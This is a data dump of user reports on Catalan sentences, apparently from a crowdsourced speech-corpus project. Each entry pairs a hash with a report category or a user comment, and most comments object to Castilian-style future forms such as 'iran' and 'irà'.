b434afce8aab1ad55cc7c7a9858da9fe7526f422bc509c06a55d736da1056014 ca Iran no, aniran El vint-i-nou de febrer na Bet i en Roc iran a la Nou de Gaià. baa01b930aa20647c57a704b5c5be63af395c84f9eafe176f251e2d1427cc0ef ca grammar-or-spelling Diumenge na Clàudia irà a Vilamalur. b9a0e4977a1b2221b6fef3bb8b89722000b1d66aab7def0be440698463ee3634 ca grammar-or-spelling Dilluns na Martina irà a Redovà. ba6ed729852ff5b09a7f61b312d33c843fe5fce9acb06e0fcc0580f758d85fa8 ca grammar-or-spelling Demà na Farners i en Sergi iran a Sant Feliu de Guíxols. baabd8f7e0ab828df7e035a40217fb367f1ccdfd5f465c3f759006057e043dbf ca grammar-or-spelling Dijous en Martí irà a Estivella. babf539769d1e7ae19afa15a625d9131fab8979bf39f24a70d0c39268fe9bd69 ca grammar-or-spelling Dimarts na Bruna i en Nil iran a Vilafranca de Bonany. ba05a7ecc3a96854bd7113b0a93f8f49f00225a52e7f49cc5318f0a9f75ef696 ca grammar-or-spelling Demà na Carla i na Nàdia iran a Vilafermosa. baa832aa438f4a719b7019416ce2726613e44e117cafa052e24778e913e5ddf9 ca grammar-or-spelling Diumenge na Dolça i en Rauric iran al teatre. ba881b0fb86d4fe6f049be4f0d9fc4f582953cd489597e3ab8382aadeaf2a667 ca grammar-or-spelling El deu d'agost en Roger irà d'excursió. badda02be1361b5f0e0d09b0ea4a964a1ffe4744403ae2acd41d448f12845b1d ca grammar-or-spelling Diumenge n'Hug irà a la Vila Joiosa. ba059243553e646499d36433c2656e910e38f96761a6e93a37fbddc70a04f628 ca grammar-or-spelling Per Sant Jordi en Guiu i en Cai iran a Pujalt. ba377d9b4685605d2500171df84d96d458e39a0ba2b183e6eb743736e552ae4b ca grammar-or-spelling El vint-i-nou de febrer en Telm i en Bru iran a la biblioteca. bafeef57e9eb7d0d471f63cfe2dffa3d02e205be83279d0f502627f313063899 ca grammar-or-spelling Per Sant Jordi en Quim i en Cesc iran a les Borges Blanques. ba170106cabc85d231ff236a6dd156c3ee57309e9e1763af4e446dca927bc7d1 ca grammar-or-spelling El nou d'octubre en Quixot i en Gil iran a Ciutadilla. b94562bf496336a2dffcf2b62947957e29620850444cacc29eba6b2218caab3d ca grammar-or-spelling Demà passat en Genís i en Bernat iran d'excursió. baf8191f2d7c55dee0f9b7e6411c81b998c4ada161f026144fce1f3ca976250c ca grammar-or-spelling Diumenge n'Hug i en Mateu iran a Bigastre. bab19f087fa858def6cee26bdbc39718f93647971fe2a9671176e92c7c30304a ca grammar-or-spelling El deu d'agost en Sol i na Zoè iran al metge. baa8473ebe45c615d24e69a380483389705a394ecaa738ebacd1ed13f9f92ac8 ca grammar-or-spelling Dijous na Damià i en Mateu iran a Tollos. bcc8a87b56828d8655303c9414ba8be2f1728459540a74375936adc611ced1ca ca grammar-or-spelling I menys encara d'un elles. bdd9991c231c25b9ba7f64dcbc38195fd79eda8abf12769994104e49d6b65d12 ca grammar-or-spelling Demà passat en Lluc i en Guim iran al metge. be0c7fb88c4c456e068717ea06d8602543cb546ea54f3126fbb32757d786fafe ca grammar-or-spelling Per Cap d'Any en Maria anirà a les Useres. bc05796b1a45f2d976763c88e491ae22d0c1b167a54f8f633c69f2672092545a ca grammar-or-spelling Per Sant Jordi en Guillem i en Pol iran al teatre. bdbe6fcc7fc5f04f05ec8cbc033992bec21d58bb362d0b8c82113fbc73f4780b ca grammar-or-spelling Demà passat en Julià irà al metge. be21b2ce4098c7232020d4884646774eb1a75743b821f3d23701a30786392a90 ca grammar-or-spelling Dimecres en Joan i en Pol iran a Mieres. ba91144cce52b3df6d72cb98b411b225788f411e4fb4653f309b464bc29186a3 ca grammar-or-spelling Demà passat en Genís irà a Subirats. bddffffdf6b9be54666aeaa9b29b3160adccfb52e1c1e15d480a19da8a27e94d ca grammar-or-spelling El nou d'octubre en Martí i en Nico iran a Castellar de n'Hug. bda7f1fbd8021188402440f3e9e0f4d8d2bde7bdd06675f770c0e25120634dbe ca grammar-or-spelling El vint-i-nou de febrer mon pare irà a la biblioteca. bdfb4d807a276e5af30675f2222b62857dcb628c2459e74575cbfdddd7dbf130 ca grammar-or-spelling Per Sant Jordi en Damià irà d'excursió. be6bc10e58285122b84e025d79fff2b4b49b823bc294900810a03cfbcf6c2641 ca grammar-or-spelling El vint-i-nou de febrer na Mira irà a la biblioteca. bddcbc74feca9ed958747a4553853a0c90391d990a2cd03b5fcdea4a13f7f7f1 ca grammar-or-spelling Dilluns en Cesc i en Roc iran a Aitona. be64b1a726b69e51a8da2a88d56bfba29dc18c5cca58fc3b8027bccb48b1ce22 ca different-language L'ació de subornar un de la policia muntada. c012e31a5b354b3982bc21de50c3c2b969ba3b6435ecb3b3a97c038faac9f4ca ca grammar-or-spelling Dissabte na Mireia i en Dídac iran a Sant Salvador de Guardiola. c0f4acd4a5a63541db2f197362fae5bed304acefc9c324dc7647b07ab45b2e39 ca grammar-or-spelling Dissabte na Mireia i en Dídac iran a Sant Salvador de Guardiola. c0f4acd4a5a63541db2f197362fae5bed304acefc9c324dc7647b07ab45b2e39 ca “Iran” és lamparaula en castellà. En català és “aniran” Dijous en Dan irà a Quatretonda. c0d5ccadd24d37f8ea3ca62f37a01a0faecb406830bacbf1f3dcf74a031d4f13 ca grammar-or-spelling Dijous en Dan irà a Quatretonda. c0d5ccadd24d37f8ea3ca62f37a01a0faecb406830bacbf1f3dcf74a031d4f13 ca “Ira” és en castellà. En català es diu “anirà” Per Cap d'Any na Fiona i en Sam iran a Fortià. c067c0934bb41fe8d2a08d6c94217de789948f64c6b982513b2d443c41e42811 ca grammar-or-spelling Dimarts na Blau i na Sibil·la iran a Tivissa. c0331cf8a4880e3303f7ca1f7a655125b901782129256980d036a20d27df2094 ca grammar-or-spelling Per Sant Jordi na Greta i en Dan iran a Sant Quirze Safaja. c0d9cf9c61798a4f19c985d2597f5760c76b234397fe0bb8b9c4c374ea7aa8e5 ca grammar-or-spelling Dimecres en Cai i en Gerard iran a Rocafort de Queralt. c1099d1bda7c9ef6e9629885c34f7f077360f7189af57301eaddd29a52191bef ca grammar-or-spelling Dimecres en Genís i na Mariona iran a Josa i Tuixén. c020e17bc14e8efb389a86e7ddc240602e2e0a715df731297acce2c79b55a5be ca grammar-or-spelling Dissabte na Gina irà al metge. c1ba3161d5d14519b7edff1ae8d328495e051edffbb3c90873081d0a11c55973 ca grammar-or-spelling Dijous en Joel irà al metge. c10b8569af41175e1d8c227a9873528a67f5c2e52bf2e5cc066890bb9bf69ac8 ca grammar-or-spelling Dijous en Jordi i en Pau iran a Benimuslem. c1793b88fb542e1599324d0aaa37da3ab1a5b710b7b76785c3745bfdda2bd83c ca grammar-or-spelling Dijous en Jofre irà al teatre. c015a3286241ea56eaa05d3838a31eaf53ae4fa1f0cd237295c7f4cd88ae184a ca grammar-or-spelling El nou d'octubre na Vera irà al cinema. c190ed21cd9de0f4caf86dd602b5fce5fc7f4b1c758fcb6f1e95682ff566676f ca No existeix el verb IR !!! El nou d'octubre en Drac i na Dèlia iran a Quatretondeta. c1ccd30f896997d4acc1444134d868abc53c0dbf6e4df662cee617e6ee7a2b21 ca grammar-or-spelling Per Cap d'Any en Quixot i na Clara iran a Vilallonga. c10a072b9c496ed486778c8fe61a123febcd95ebb3ee74fa88969795bd9faded ca grammar-or-spelling Per Sant Jordi en Martí i en Lluc iran al metge. c10ff82c424704b04bce1e4ee852b20e364b0bc349320066cdbc1d0f8c331922 ca grammar-or-spelling Demà passat na Nit i en Guim iran a Castellar del Riu. c0d87c21c7be132bc4674eb7bdaf34d27e5c475d882fe6690e739b476d00e08a ca Vetb ir? El deu d'agost na Clara irà al teatre. c18c38136f6504747ef702f5d38984f2b529ce9c1055322cd4f0e74782a010e2 ca Verb ir? Dimecres en Quel irà al metge. c149965330f9dfc345f629c57cc5be60bba3db0c56e0504f8a621ba727404753 ca Verb ir? Demà na Gal·la i en Bernat aniré a la platja. c31c223e24d44f0c7667060d4304940c80389d1c005988b839bf9b147525ff64 ca grammar-or-spelling Dilluns na Júlia irà a Godella. c1f9934dc3803e87da46140ecc18586742620949b59e88c6647fdac127367a79 ca grammar-or-spelling Per Sant Jordi na Nit i na Fiona iran d'excursió. c3c00dea38437d755dd32c892e4da987eab60adff85a5967ed195e7d34609105 ca grammar-or-spelling El vint-i-nou de febrer en Joan i en Marc iran a visitar mon oncle. c79f3ef8d8e44e3cc2b535bcbaa67398941299d5470bfaaa01271e1008b64805 ca grammar-or-spelling El deu d'agost na Nàdia irà a visitar mon oncle. c76d5963f916deaef67b5f51df22f566cd1a8cc53dc0dd924ce6feeac4755dae ca grammar-or-spelling Dimarts na Laura irà a Castelldefels. c79bea3bad9d04add8c90a2c5001476ffab3cb52aa074a2796e8a299ab7a7fdc ca grammar-or-spelling El vint-i-tres de maig en Drac i en Martí iran al cinema. c67c43c93d3eab49f428ddec148dd8330069a63cf0211eb312ffd7e18c01e791 ca grammar-or-spelling El vint-i-tres de maig na Joana i na Gal·la iran a la Palma de Cervelló. c680582d138e9ecd6fd8961d036cc436be90859db64b07162890f26ddc02b203 ca grammar-or-spelling Demà en Martí irà a Sant Llorenç des Cardassar. c774aed7e9fe5cde07a5aa848d2b14d653461779de1da2fa0f8eae85a8acb54c ca grammar-or-spelling Dissabte en Roger i na Mariona iran a Soriguera. c7c9caf17e07705658fbef038b5b0a4f1fe07d2cc8a7d7d7ab8af9b964b45991 ca grammar-or-spelling El nou d'octubre en Maria irà a visitar mon oncle. c964acd024b9ff2eb2057a212f3b4978d67414844027d08349eb66b3db767e09 ca grammar-or-spelling Divendres en Maria anirà a Tavèrnoles. c8ba65bfb6ebb5e34794cc5aa09090281f72334296bc76dab445c28fefe29bc6 ca grammar-or-spelling Una de les seccions del llibre és més narratiu. c8e5b96ba9cbd7f7eaa7e6e4661067560860d08a14adbfe059c0832565ad6842 ca grammar-or-spelling Divendres na Damià i en Mateu aniran a Vall de Cardós. c928ffa0d8af6acb550980c1cd19ba55db8e5fe747108c0a40d861ed5f3b1cfc ca grammar-or-spelling El nou d'octubre en Maria va a Flix. c995ca1b812170dfc102cbd2823af882e78a505f344e72ddf1c5f46b94f7bf87 ca grammar-or-spelling El nou d'octubre en Maria i na Laura volen anar a Torres Torres. c94461fe608e6f7ba0f7140ee994eb1027507c2d2042a9657ac2a10f103f777c ca grammar-or-spelling Demà na Damià i na Dolça aniran a Santa Eulàlia de Riuprimer. c9f2f97402afac42eb9b12a6ea42ca35171af2331309c1baf11ff40f4ae48c38 ca grammar-or-spelling Demà en Maria vol anar al cinema. c9e4fdb5b37fed53eb3213cbc29652d9ef5674b24e454a9d15264c22735ddd86 ca grammar-or-spelling Per Sant Jordi en Maria va a Saix. ca0c6809b07123e35b59465d3a6622dd01bd03eb557387918049ba91982cb247 ca grammar-or-spelling Per Cap d'Any na Gina irà a la biblioteca. ca324ba4e7a33d1325567fb4adc9933491df97ad23cd5024a5b6c96086129972 ca grammar-or-spelling Per Sant Jordi en Xavi i en Miquel iran al cinema. c9ed223bf7a6adb0be00976c3fbddbd21af2ab07b7fb064968f5bb51b395615a ca grammar-or-spelling El vint-i-tres de maig na Cira i n'Hug iran a Bunyol. ca5a941e39ce1b5f59c1cfd10824ab2f26f4b71c52f71eed748239d950607359 ca grammar-or-spelling Dimarts en Miquel i en Gerard iran a Casinos. c9c348a1f575b7044136be25db442ba9b036c66595a30bc717a528ffc9ee25bc ca grammar-or-spelling El nou d'octubre en Maria i en Biel van a Sant Mateu. cae34c887ecb5de2c6060690216fe3f943dc79b4aa7e713a0978e10bee98a940 ca grammar-or-spelling Dijous en Maria i en Biel van a Torrella. ca4d81397b2da7acbb2dc4f1c31e9aa4fcb53d1ef829bb00a6b950a702d1e12d ca grammar-or-spelling En vénen els cecs des de fa anys. cbce4ead58249567103c0d21788524529a7d0adc1a59932feab1918eb77ce16c ca grammar-or-spelling El vint-i-tres de maig en Maria i en Jan volen anar a Esplugues de Llobregat. ceb4a78b5c89018a6a7a1d36b2fa8ca2437ea449bb91cb9c409e44c5744ff1ce ca grammar-or-spelling El vint-i-tres de maig en Maria va a Vilobí d'Onyar. ce5c64c5c145a2104093f01af9a23ee71128efb0ab2c99a868653b442ea0a056 ca grammar-or-spelling Dijous na Damià i en Genís volen anar a Càrcer. cdd12519f8d4686aef5c4bc5e4c7b938f59163e18195900495c0f8e3d8001a07 ca grammar-or-spelling El vint-i-tres de maig en Maria i en Biel voldrien anar a Almenar. cdf0b9dedaaa7673bbda6caa15666baae04b861d6324a674c98c491a7df200f0 ca grammar-or-spelling El vint-i-tres de maig en Maria va a Vilobí d'Onyar. ce5c64c5c145a2104093f01af9a23ee71128efb0ab2c99a868653b442ea0a056 ca grammar-or-spelling Demà na Damià i en Garbí aniran a Orís. cfffc1c1adb0b5c236ae08b84dfa767d0ed295ade232d696ba367a64511568b0 ca grammar-or-spelling Demà passat na Damià irà a Ador. d00a413a4c4130f18a9c286fae0cdae2d0f80fc5f196069baf15f00547c25bf6 ca grammar-or-spelling Per Cap d'Any en Maria i na Greta iran a Organyà. d384bf1d1e92423f4e45c5911581a9aedfd2e4674fe2bb483afbf3456e9c0004 ca grammar-or-spelling El nou d'octubre na Sança i en Lluc iran a Bellaguarda. d3d08e94bdf635b3b45f61966294f9e51a74e190c47dbd55fed3af728544ef08 ca grammar-or-spelling Dimecres en Rauric i en Bernat iran a Tarragona. d3b2e97ad9c428d1a71be7afc8ce9b4d601320d270bda958fe15ea078e616f88 ca grammar-or-spelling Dimarts en Gerard i en Martí iran a Benicàssim. d301aa2751b982d2f1a0662966c25d140753ba28154846b400dfa9ab5ff45baa ca grammar-or-spelling El vint-i-nou de febrer en Martí i en Pere iran a Llucmajor. d3f6ca8a34aaf44f670031b1bbe98b82e5ea35487792d860b7c68225da8d5eae ca grammar-or-spelling El nou d'octubre en Dan i na Bet iran a Vallbona de les Monges. d36abc0ab63dd5366e18c915a018cce73b1479e381009921c83a13e47f859242 ca grammar-or-spelling Dijous en Quintí irà a la Todolella. d37ce3310eb48f2a55fde70da06e2a617394801620220be54065b30949ed14f2 ca grammar-or-spelling El nou d'octubre en Gil i na Frida iran a la platja. d31cac819baa6c5bde70eaaa949459cb01f3a6eefc2a1fd079a8be307fdb8c20 ca grammar-or-spelling Demà na Martina irà a Boadella i les Escaules. d438aecf6a9af7bf22b9d193159d37d91872a41720e866d33e7fa2e459f722dd ca grammar-or-spelling Demà passat en Sergi i na Berta iran d'excursió. d3e320102a535cc342d59f8f46478407a7366119def9c84a5579988f001f5cb6 ca grammar-or-spelling El nou d'octubre na Dúnia irà a Pradell de la Teixeta. d411438ac0cdeffc7bbd00bca95ea3c3b07d4ff5def24f234702c8bfb802160a ca grammar-or-spelling Dilluns na Duna i en Miquel iran a Casserres. d4276db1e5e833aed1e905f5aab7d753003f604c39e7fdcbf25153ba959a129e ca grammar-or-spelling El nou d'octubre en Roc i en Manel iran a Alfara del Patriarca. d316d43ee5a5028221c8cc20d83e61dc2b056c02580a5edafe347b2f1e5fae82 ca grammar-or-spelling Demà passat en Quirze irà a Camallera i Llampaies Saus. d39c6eddf04a92ae4f0888e7a54e1f00801535bf3426ed5bede64a0bb6d867c5 ca grammar-or-spelling El deu d'agost en Marc i en Quer iran al Genovés. d2daef4eaccf0d9bceabb90c2a7700e91671d49a07f3fef979ead2761f99cd1b ca grammar-or-spelling Diumenge en Bernat i na Dúnia iran a la Garriga. d3d5896f71f1359c2bbaa63350891c155fa1f0d5fbd94803267a6178b1ee88ec ca grammar-or-spelling Demà passat en Miquel i en Biel iran al cinema. d4106cb594c3874dd4efb8d618aaa4f1989bf10b295cea4c32db306820451fc4 ca grammar-or-spelling El deu d'agost en Garbí i na Jana iran al metge. d22e311b7766eaa158c5305de562b15ceef63efa83a26c4c2c78b9c305738f6d ca grammar-or-spelling Divendres na Cel i en Guim iran a la platja. d3ce926f404ff2ec7474fb0b2cc1bf53aa6f29419d9d166359908445e0282958 ca grammar-or-spelling Dimecres en Renat August i na Lola iran a Llívia. d3cd740c3c6ebfef29910ed4dab9d14f88860fc1c740ce10d94c1011de2b9dcd ca grammar-or-spelling El vint-i-tres de maig na Fiona i en Magí iran a Sant Jaume de Llierca. d3460a2c667b4127ee8b4961b541fbe1895494ac2c70c23e92f94633ad57af69 ca grammar-or-spelling Dijous na Frida irà a la platja. d4409d1e059d963effe955c4f9829cde4e5fc642742bf7939b0c59ba617f8132 ca grammar-or-spelling El vint-i-tres de maig en Bernat irà al Genovés. d301a8cffaf776b069804b49c62978091aee50de70d7128a305d0488fea6033a ca grammar-or-spelling El vint-i-nou de febrer en Gerard i na Mariona iran a Santa Maria de Merlès. d39c5f983395a0a4c027dadb2b2f71133cb739c61618a59c0249b7b02b08666f ca grammar-or-spelling Per Sant Jordi en Quirze i na Vinyet iran d'excursió. d3e9361d742ac9f123eb6044ba209cacf700257c973b4827ee1b768563bfae1b ca grammar-or-spelling El nou d'octubre na Judit irà a la Fuliola. d37e882bd0b469b4f1748ef44451957740d1de6adb7b860b843db108ef02a7b6 ca grammar-or-spelling Dilluns na Vinyet irà d'excursió. d441ce5b516e827b8ff209dcf7f00f53ea7a0887eda4b1442c78bd1ec6a0ae6b ca grammar-or-spelling Per Cap d'Any na Dolça i na Tanit iran a Sant Antoni de Portmany. d4572820aead94701556a97691c6f4249506ffd028f4b5061f1d7f196d584e0b ca grammar-or-spelling Demà passat na Dúnia i en Martí aniré al metge. d569265a661ac83be8f8a908bc4f986e285b6be3cd93a06b02a4503d8531e171 ca grammar-or-spelling Amb la i comencen les suors fredes. d4c68553468f1f2cd3aeba428c89b19cbc5175f53ba7bc5779f97b3c55687e6b ca grammar-or-spelling Dilluns na Beth i na Dúnia aniran a Palma de Gandia. d710b9b07a55be759fe08db2f2f0f38abce20ac94fba44fc03abff16b6e8fef2 ca No grava la veu El deu d'agost na Mireia i en Jordi iran a Vinalesa. d7bc585f544e9b21d26c0637504f4533f7132478dc31c99017fb727866b3864c ca grammar-or-spelling Per Cap d'Any en Martí i en Pau iran a Paiporta. d78960c45af25f455e1c67946ec0205a5a89e6e684188e8280a73a81e745ccca ca grammar-or-spelling Dijous na Cel i en Marcel iran a l'Albagés. d6eda34852e91668cd4e4908f211d6f59067339a5dc396dd572230abf6ee934e ca grammar-or-spelling Dissabte na Sol i en Roger iran al cinema. d6ff1e88d794a919db7318fc0131d498467d28b8f0db4cf43bcb4177d843c9f1 ca grammar-or-spelling Dijous na Clàudia i en Pep iran a Sot de Ferrer. d77e06c7af95a6b1906aa745863d10ac6be8615936942a20828c27479117faa2 ca grammar-or-spelling Diumenge na Nina irà al cinema. d786e851dd310e691b08152f487e9eb833c6aaea05b4f4ad31168727b0dda5c0 ca grammar-or-spelling Dimarts en Gerard i na Ramona iran a Sant Fulgenci. d7c3ced555767accff61d548df37e065cb0cd16b72f2b4b66303e44a45db3c2a ca grammar-or-spelling El nou d'octubre en Magí i na Nura iran a Benafer. d74487e9445eba66d4d80a70d783f70ffa7129ff7aee0f9faf916b734e9305f9 ca grammar-or-spelling El deu d'agost na Gemma irà a la biblioteca. d744497d7de1d21dc885f9def33f001893b2f1da50bd4e8ec97482f0c23ae941 ca grammar-or-spelling Divendres en Renat August irà a Arbeca. d742a7a8edd22343f3b6f4bb2dd8046efd6442800e981c98ef7e8124e5ce45ee ca grammar-or-spelling Divendres na Tanit i en Nel voldria anar a visitar mon oncle. dba08557dd1250dac6179528d84fb2d34dbafb995ce0f77fd36e90e3da612bd0 ca grammar-or-spelling Marcel i el va fer parpellejar. db4deea0718a0000194fef17ed2bc24de18640be71dbd54ce6a824fb723bf156 ca grammar-or-spelling Cent quaranta-sis tenir-la damunt del cobrellit, prop de l'orgue. d9e053682e6c5df374eacbe030a53cbe81cf0e6927115c6abedafda0c2811586 ca grammar-or-spelling Plantejament cent vint-i-cinc pregunto si als hospitals on ha treballat el personal feia festes. dac73b914fa74398a36c1437cff66b63df46b5167f421c2d2cd36492fbef9672 ca grammar-or-spelling Dijous en Juli i en Guifré iran a Olocau. dce5c6bd5ad8eced105ddb268cb2f19fb6faf4be5c5c7d290d873ed266ab2eed ca grammar-or-spelling Plantejament cent vint-i-cinc pregunto si als hospitals on ha treballat el personal feia festes. dac73b914fa74398a36c1437cff66b63df46b5167f421c2d2cd36492fbef9672 ca grammar-or-spelling Per Cap d'Any en Quim i na Zoè iran a Pau. dd2c469f3d424d78388b419dbb3b5382f66da29a78e7f05f416bf09b55de56b2 ca grammar-or-spelling El deu d'agost na Laura i en Lleó iran a Petrés. dcf1f83ab526a897c095259a5a8167104edbd79237b2f26bb985c7f4ac723c70 ca grammar-or-spelling Dimecres en Jofre i en Quer iran a Sant Vicenç de Castellet. dc0282e6c8968dc2c377045f2b686fa7dd4f212c3578bbf219d7bd2880dc9db1 ca grammar-or-spelling Demà passat na Damià i en Juli volen anar a Madremanya. ddce5d92c40532c1a4a214bb891254254d8740ba9c5bdf318662aafc1f2a4fe7 ca grammar-or-spelling Deixa estar el teu zíngar i vine, que aquí hi ha festa que. de3e0fa45f043dd29bb5571ad31904b7f756844f599c3efda8d5e88e416e5d7b ca grammar-or-spelling Dissabte en Maria irà a Oliola. de98155d4a7bf95474281c329dbfe9c1a619bda5e3a0afc397b318d030987189 ca grammar-or-spelling Aquesta vegada la pedra plana va aterrar a la casella número ero sis. dcf8a5412170790c4354546fb8976eda22595168b932446f4425c04c0bfc4214 ca grammar-or-spelling Dimecres en Maria i en Roc aniran al Palau d'Anglesola. decc247b36cbffc78b6d2670457b8b533b54954f3b66ccf29eeb682044bec6f1 ca grammar-or-spelling Divendres na Damià i en Lluc iran a Benassal. df0c6fc06b28f2c88e646834c03bbff28b32cbe0900d277006db232db19ecd64 ca grammar-or-spelling Dimecres na Damià i en Mateu aniran a les Useres. df27dbffe28e8a4715abb0ec1d742815c426d8edb145ea0fbbc20923078238bc ca grammar-or-spelling Dimarts na Nura irà a Benifallet. de8c3ffb57e693e38d40f2f37770c6d79edb7bb7ead6bf2933f290938461bfae ca grammar-or-spelling El vint-i-nou de febrer na Gina i na Laura iran a la Vilavella. dec76aef3f488c04e81b650b8a5331892e78ec42cd43ca2ed980de0e06443b31 ca grammar-or-spelling Divendres na Neida i en Pau iran a Rocafort de Queralt. defc8f5fb4d128fec8df7f5f9d78486cdbe7a26e5222a7f655ba8b3af9f71807 ca grammar-or-spelling El vint-i-tres de maig na Xènia i en Pep iran d'excursió. dec62cde64f9f452e77dc5305bd5e34cda2e394cdc80cbc12d5a5db005cc1c61 ca grammar-or-spelling El deu d'agost na Dolça i en Drac iran a Llucena. dea723789ecf869cee757582882b96a13f968637fda8f43bac4664b17db286a2 ca grammar-or-spelling Demà passat n'Eulàlia i en Marcel iran a visitar mon oncle. df16c3a9e14ca7873bc8dcabc93dc2a31c75c59e89dff280cdd6d7a703b011db ca grammar-or-spelling Dilluns en Juli i en Ferran iran a Navata. dec435d46a470337e0c664683494a75c503395f1006ddd2b0e7e9f980786305c ca grammar-or-spelling Demà passat en Martí i en Joel iran a Calaf. dea40f26359ce21cfe7f128b860ab99828e189fdb45cece742f2786341b603ae ca grammar-or-spelling Demà passat mons pares iran al cinema. defedc1061c6917eaddbf317f1e28efe541bd0566d03b39c7c04a96919542364 ca grammar-or-spelling El nou d'octubre na Damià anirà a Bonrepòs i Mirambell. df913db8d1938fdcc68ae80d1819657a24528b039c2ae3d488efd8aebdcef39f ca grammar-or-spelling Divendres na Rita i na Berta iran a Sacanyet. df54f2e57ce239600943c94ed4ea6c199a8d5267fc9aa26c0cd427157678eb4b ca grammar-or-spelling Per Sant Jordi en Damià i na Thaís iran a la platja. e06b8f86bf1a60860bab4e28e466b040a25b60b05eb5d7b50574e90ff4ca094f ca No sé perquè surten tantes vegades els derivats del ver ir. Crec que no existeix en català Demà passat en Nico i na Nina iran a Setcases. e04d4c07e6d1a54285abade7af8acb127dc0f06273fda5a7bcb8d262c259ea64 ca grammar-or-spelling El nou d'octubre na Vera i en Gerai iran al cinema. e06749e10327df881a20115a193f656b773e7d41f1690aadbe543a0a27e53f95 ca grammar-or-spelling El vint-i-tres de maig en Gerard i na Bruna iran a Anna. e0ededb6f10997f3fcc19e519af71a42d4534e7c94818d6f418765a1adc7796f ca different-language Demà passat en Gerard i en Blai iran a Súria. e07100ea354a4e4d0e6e07f6f9a6ba43e3c782fb895b20d57671ff9da21eee24 ca different-language Demà passat en Quixot i na Laia iran a la Torre de Claramunt. e1e35a1d7ee76ce07ad93ff9d895265401e7945d6b97c6dd23cf86a7c0498d6b ca grammar-or-spelling El deu d'agost en Maria irà a Cornellà de Llobregat. e19156b9c3371de561705f8dae6afc1636cab076e8b539bca526c01fc7b1dbdf ca grammar-or-spelling El vint-i-nou de febrer en Maria irà a la biblioteca. e1b832c8f86cfef4c635a7b2695b6be26d57dc1b7314fd275e32f5b2312bfe2b ca grammar-or-spelling Posis la corretja a l'esclop. e1cf325b240d0549ce83d55099b0e206ecf3292bc6f529ffdcfa99599974cf15 ca grammar-or-spelling Divendres na Ramona i en Pep aniré a Llavorsí. e35cca1b9e530c97a15e415e77200735becb020e31397a0f88b9067ff5a2f899 ca grammar-or-spelling Aquestes provoque la hilaritat general. e43cd938971d4b41c297da6975c355613613b94f39d3fb4d599ad0efa8bc1a7b ca grammar-or-spelling Aquestes senyors són clientes de radiofonista. e53dc0218cc232c79ba4e12493b56dde5e74b52b5df97a6f8af0ee7dd107d59a ca grammar-or-spelling Divendres na Ramona i en Pep aniré a Llavorsí. e35cca1b9e530c97a15e415e77200735becb020e31397a0f88b9067ff5a2f899 ca grammar-or-spelling Llauris un rostoll per a la sembra. e54d25180bee237221bafdc3532ba9d6ba1c34546074aa8e3214fbdcf61232df ca grammar-or-spelling Quatre mil set-cents paraules per minut. e4fad08c1411ce2da633c421f11d39daf29a8edacf1d7703886073732529ea21 ca grammar-or-spelling Dimarts na Ramona i en Pep voldria anar a la Guingueta d'Àneu. e58215c304a31d910336fd4fd3cda79de073a1ea7a41197a6f7d3f991d3c8345 ca grammar-or-spelling Quatre mil set-cents paraules per minut. e4fad08c1411ce2da633c421f11d39daf29a8edacf1d7703886073732529ea21 ca grammar-or-spelling Quatre mil set-cents paraules per minut. e4fad08c1411ce2da633c421f11d39daf29a8edacf1d7703886073732529ea21 ca grammar-or-spelling El deu d'agost na Laura i en Sam aniré a visitar mon oncle. e64fe98b314f8a782726f71163888c8a81d2181fe67137f74c17bc4895aaabca ca grammar-or-spelling Divendres na Ramona i en Pep aniré a Llavorsí. e35cca1b9e530c97a15e415e77200735becb020e31397a0f88b9067ff5a2f899 ca grammar-or-spelling Dilluns na Thaís i en Telm voldria anar a la platja. e6cdc65e52c2e7d0a1c5deaf7587bbf1fff3deab48d329ed9d0724ab62da6766 ca grammar-or-spelling Dilluns na Thaís i en Telm voldria anar a la platja. e6cdc65e52c2e7d0a1c5deaf7587bbf1fff3deab48d329ed9d0724ab62da6766 ca ...voldrien anar... Divendres na Ramona i en Pep aniré a Llavorsí. e35cca1b9e530c97a15e415e77200735becb020e31397a0f88b9067ff5a2f899 ca grammar-or-spelling Veïna bàltica d'estoniana i lituana. e7338234f78373b6348086d142e9dbc8b03a2ccb8ae2d6c791d7620a5ceaa9be ca grammar-or-spelling El deu d'agost na Laura i en Sam aniré a visitar mon oncle. e64fe98b314f8a782726f71163888c8a81d2181fe67137f74c17bc4895aaabca ca grammar-or-spelling El deu d'agost na Laura i en Sam aniré a visitar mon oncle. e64fe98b314f8a782726f71163888c8a81d2181fe67137f74c17bc4895aaabca ca El deu d'agost na Laura i en Sam aniran a visitar mon oncle. Demà en Sol i na Lara iran al cinema. e86542c65f4a43be5181f1546b19d75a1584fc9a54ccea0fcac9c679cfd3622a ca grammar-or-spelling No he pillat ni papa de la frase en francès. e85eceefc9b0818acd148e3bcc665548c2448898448d478c9a8f559a22ee2681 ca grammar-or-spelling Dissabte na Cira i en Pep aniré a la platja. eb811192e0a24228d3cec73e5b4dee4fd7c096850b363f4c0f117797ccaf6e31 ca grammar-or-spelling Divendres en Guillem i en Nel iran a visitar mon oncle. eea98915df486d941ff59605cd90211bf46b4d8f292b3744d9a919cabeeb2363 ca grammar-or-spelling Per Cap d'Any en Quixot i na Laia iran a Horta de Sant Joan. edc8752a8ea47f38b6fb6bfb8910b9a709f287d8d6809e4d17ef1f876d163ec9 ca grammar-or-spelling El nou d'octubre na Clara irà d'excursió. ee44bb1f80581e487bfd31f66096b17c15faad09f01791d036ad5f7bec1ee862 ca grammar-or-spelling El vint-i-tres de maig na Cel irà al cinema. eec0bfb063e4669f970903259a229f108142f924a09928a81a09776825536e2d ca grammar-or-spelling Per Sant Jordi na Cloè i en Dan iran a Vilamòs. edad3b1198c87d243654d57dbdfb51ae1634fbe561d65f897d35aec9a156354f ca grammar-or-spelling El vint-i-tres de maig en Telm i na Berta iran al metge. ee94dac7c7c57990aba551cfe7a14da4b26c330ad8deffdfedad97aa8a05fdc1 ca grammar-or-spelling Divendres na Núria i en Jofre iran a Sant Mateu de Bages. ee1e009589910fb24e04aad9af8b7b687988dd95b8ccf3743cd9413332fa23a7 ca grammar-or-spelling Per Cap d'Any na Beth i na Lia iran al metge. eda870634613b7efab6a71c057a6540acd3ef3ca5b8b1f29d9bfe0c46df7df56 ca grammar-or-spelling Demà passat en Magí i en Martí van a Barbens. ee8d358280ff8e7fa70ea2a860f6741ab036d8460ea25f30b16b0f3e76beeb7c ca grammar-or-spelling Diumenge na Gina irà d'excursió. ee220519844efa8d2e044e99f189f5598c94e344fcb39f687933b78ede5f137b ca grammar-or-spelling Seixanta-u més de mig miler de socis. f00ea93f2b4d27b5522ccb7919140e42c73be018b92547110018e55b83e10207 ca grammar-or-spelling Setanta 